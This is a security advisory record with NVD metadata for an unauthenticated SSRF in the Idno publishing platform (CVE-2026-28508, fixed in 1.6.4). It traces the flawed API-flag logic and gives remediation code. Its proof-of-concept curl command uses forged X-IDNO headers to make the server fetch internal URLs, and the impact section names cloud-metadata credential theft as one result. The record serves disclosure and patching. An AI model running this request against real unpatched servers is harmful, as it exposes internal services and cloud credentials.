{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "idno/known"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:24:37Z",
    "nvd_published_at": "2026-03-06T05:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.\n\n**Component**: `Idno/Pages/Service/Web/UrlUnfurl.php`, `Idno/Core/Session.php`, `Idno/Core/Actions.php`  \n**Vulnerability Class**: [Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n**Authentication Required**: None  \n**CVSSv4 Base Score:** 9.2 (High) - [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)\n**Affected Endpoint**: GET `/service/web/unfurl?url=\u003cattacker-controlled-url\u003e`\nHandled by `Idno\\Pages\\Service\\Web\\UrlUnfurl::getContent()`.\n**Affected Versions**: \u003c= 1.6.3\n```\ncat version.idno\nversion = \u00271.6.3\u0027\nbuild = 2026021301\n```\n\n\n## Code Flow  \n### Step 1 \u2014 Endpoint access control  \n`UrlUnfurl::getContent()` (UrlUnfurl.php:36) enforces two access controls:  \n`$this-\u003exhrGatekeeper();`\n`$this-\u003etokenGatekeeper();`  \n\nNotably, the original authentication check (`$this-\u003egatekeeper()`) was explicitly removed with the following comment left in the source:\n\n```php\n//$this-\u003egatekeeper(); // Gatekeeper to ensure this service isn\u0027t abused by third parties\n// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse\n```\n\nThis leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.\n\n### Step 2 \u2014 Bypassing xhrGatekeeper()\n`Page::xhrGatekeeper()` (Page.php:876) checks whether the request was made with the X-Requested-With:\nXMLHttpRequest header:\n```php\nfunction xhrGatekeeper()\n{\n    if (!$this-\u003exhr) {\n        $this-\u003edeniedContent();\n    }\n}\n```\n\nThis check is trivially bypassed by any HTTP client capable of setting custom headers.\n\n### Step 3 \u2014 Bypassing `tokenGatekeeper()` via premature API flag\n`Page::tokenGatekeeper()` (Page.php:887) calls `Actions::validateToken()`:\n```php\nfunction tokenGatekeeper()\n{\n    $url = $this-\u003ecurrentUrl();\n    $bits = explode(\u0027?\u0027, $url);\n    $url = $bits[0];\n    if (!\\Idno\\Core\\Idno::site()-\u003eactions()-\u003evalidateToken($url, false)) {\n        $this-\u003edeniedContent();\n    }\n}\n```\n`Actions::validateToken()` (Actions.php:23) short-circuits entirely when `isAPIRequest()` returns true:\n\n```php\npublic static function validateToken($action = \u0027\u0027, $haltExecutionOnBadRequest = true)\n{\n    if (Idno::site()-\u003esession()-\u003eisAPIRequest()) {\n        return true;\n    }\n    return parent::validateToken($action, $haltExecutionOnBadRequest);\n}\n```\n`isAPIRequest()` reads the `is_api_request` flag from the session:\n```php\nfunction isAPIRequest()\n{\n    if (!empty($_SESSION[\u0027is_api_request\u0027])) {\n        return true;\n    }\n    return false;\n}\n```\nThe flag is set in `Session::tryAuthUser()` (Session.php:488), which runs early in the request lifecycle. The critical defect is here:\n```php\n$apiUsername  = $_SERVER[\u0027HTTP_X_IDNO_USERNAME\u0027]  ?? $_SERVER[\u0027HTTP_X_KNOWN_USERNAME\u0027]  ?? null;\n$apiSignature = $_SERVER[\u0027HTTP_X_IDNO_SIGNATURE\u0027] ?? $_SERVER[\u0027HTTP_X_KNOWN_SIGNATURE\u0027] ?? null;\nif (!$return \u0026\u0026 !empty($apiUsername) \u0026\u0026 !empty($apiSignature)) {\n    $this-\u003esetIsAPIRequest(true);   // \u2190 flag set here, before any credential check\n    $user = \\Idno\\Entities\\User::getByHandle($apiUsername);\n    if (!empty($user)) {\n        $compare_hmac = base64_encode(hash_hmac(\u0027sha256\u0027, $_SERVER[\u0027REQUEST_URI\u0027], $key, true));\n        if ($hmac == $compare_hmac) {       // \u2190 HMAC verified here, too late\n            $return = $this-\u003erefreshSessionUser($user);\n        }\n    }\n}\n```\n`setIsAPIRequest(true)` is called unconditionally as soon as both `X-IDNO-USERNAME` and `X-IDNO-SIGNATURE` headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant \u2014 by the time `tokenGatekeeper()` calls `validateToken()`, the API flag is already set and the token check returns true immediately.  \n\nAn attacker supplying any non-empty values for these two headers \u2014 real or fabricated \u2014 bypasses CSRF protection entirely.\n\n### Step 4 \u2014 The unfurl fetch\nWith both gatekeepers bypassed, execution reaches `UnfurledUrl::unfurl()` (UnfurledUrl.php:53):\n```php\npublic function unfurl($url)\n{\n    $url = trim($url);\n    if (!filter_var($url, FILTER_VALIDATE_URL)) {\n        return false;\n    }\n    $contents = \\Idno\\Core\\Webservice::file_get_contents($url);\n    ...\n    $this-\u003edata = $unfurled;\n    $this-\u003esource_url = $url;\n    return true;\n}\n```\n`FILTER_VALIDATE_URL` accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges.\nThe fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.\n\n## Proof of Concept\nStep 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.\n```\npython -m http.server --bind 127.0.0.1 9001\nServing HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...\n```\n\nStep 2: Verify that you cannot reach this server from a different system\n```\ncurl http://rpi:9001\ncurl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn\u0027t connect to server\n```\nStep 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.\n```sh\ncurl -s \"http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html\" \\\n    -H \"X-Requested-With: XMLHttpRequest\" \\\n    -H \"X-IDNO-USERNAME: x\" \\\n    -H \"X-IDNO-SIGNATURE: x\"\n{\n    \"title\": \"Page Title\",\n    \"mf2\": {\n        \"items\": [],\n        \"rels\": [],\n        \"rel-urls\": []\n    },\n    \"id\": null,\n    \"rendered\": \"\u003cdiv class=\\\"row unfurled-url\\\" id=\\\"unfurled-url-\\\" data-url=\\\"http:\\/\\/localhost:9001\\/test.html\\\"\u003e\\n    \u003cdiv class=\\\"basics\\\"\u003e\\n                    \\n            \u003cdiv class=\\\"text\\\"\u003e\\n                \u003ch3\u003e\u003ca href=\\\"http:\\/\\/localhost:9001\\/test.html\\\" target=\\\"_blank\\\"\u003ePage Title\u003c\\/a\u003e\u003c\\/h3\u003e\\n                \\n                \u003c!--\u003cdiv class=\\\"byline\\\"\u003e\u003ca href=\\\"http:\\/\\/localhost:9001\\/test.html\\\"\u003elocalhost\u003c\\/a\u003e\u003c\\/div\u003e--\u003e\\n            \u003c\\/div\u003e\\n    \u003c\\/div\u003e\\n    \\n    \u003c\\/div\u003e\"\n}\n```\n\n\nhttps://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c\n\n\n\n## Impact\nAny unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:\n* Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM\ncredentials, which can be used to gain full access to the associated cloud account. On GCP and Azure\nequivalent endpoints expose OAuth tokens and subscription details.\n\n* Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.\n\n* Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno\u0027s own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.\n\n* Interaction with internal services\nServices such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.\n\n\n## Remediation\nMove `setIsAPIRequest(true)` to after successful HMAC verification:\n```php\nif ($hmac == $compare_hmac) {\n    $this-\u003esetIsAPIRequest(true);   // only set after credentials are verified\n    $return = $this-\u003erefreshSessionUser($user);\n}\n```\n\nDefence in depth \u2014 block private address ranges in unfurl():\nThe unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:\n```php\n$host = parse_url($url, PHP_URL_HOST);\nif (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    // allowed\n} else {\n    return false; // block private/reserved ranges\n}\n```\n\nNote: An attempt was made to email the address provided in the [security page](security@idno.co) but the address does not exist.\n\n```\nYour message wasn\u0027t delivered to security@idno.co because the address couldn\u0027t be found, or is unable to receive mail.\n```",
  "id": "GHSA-fcrh-fqxh-6fx6",
  "modified": "2026-03-06T15:16:04Z",
  "published": "2026-03-02T21:24:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/security/advisories/GHSA-fcrh-fqxh-6fx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28508"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/idno/idno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/releases/tag/1.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Idno Vulnerable to Unauthenticated SSRF via URL Unfurl Endpoint"
}

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              "versionEndExcluding": "1.6.4",
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  "cveTags": [],
  "descriptions": [
    {
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      "value": "Idno is a social publishing platform. Prior to version 1.6.4, a logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content. This issue has been patched in version 1.6.4."
    },
    {
      "lang": "es",
      "value": "Idno es una plataforma de publicaci\u00f3n social. Antes de la versi\u00f3n 1.6.4, un error l\u00f3gico en el flujo de autenticaci\u00f3n de la API provoca que la protecci\u00f3n CSRF en el endpoint del servicio de expansi\u00f3n de URL sea trivialmente eludida por cualquier atacante remoto no autenticado. Combinado con la ausencia de un requisito de inicio de sesi\u00f3n en el propio endpoint, esto permite a un atacante forzar al servidor a realizar solicitudes HTTP salientes arbitrarias a cualquier host, incluyendo direcciones de red internas y servicios de metadatos de instancias en la nube, y recuperar el contenido de la respuesta. Este problema ha sido parcheado en la versi\u00f3n 1.6.4."
    }
  ],
  "id": "CVE-2026-28508",
  "lastModified": "2026-03-16T14:03:38.950",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
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          "availabilityRequirement": "NOT_DEFINED",
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          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
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          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
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          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
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        "source": "security-advisories@github.com",
        "type": "Secondary"
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  "published": "2026-03-06T05:16:35.233",
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    {
      "source": "security-advisories@github.com",
      "tags": [
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        "Release Notes"
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      "url": "https://github.com/idno/idno/releases/tag/1.6.4"
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  "vulnStatus": "Analyzed",
  "weaknesses": [
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}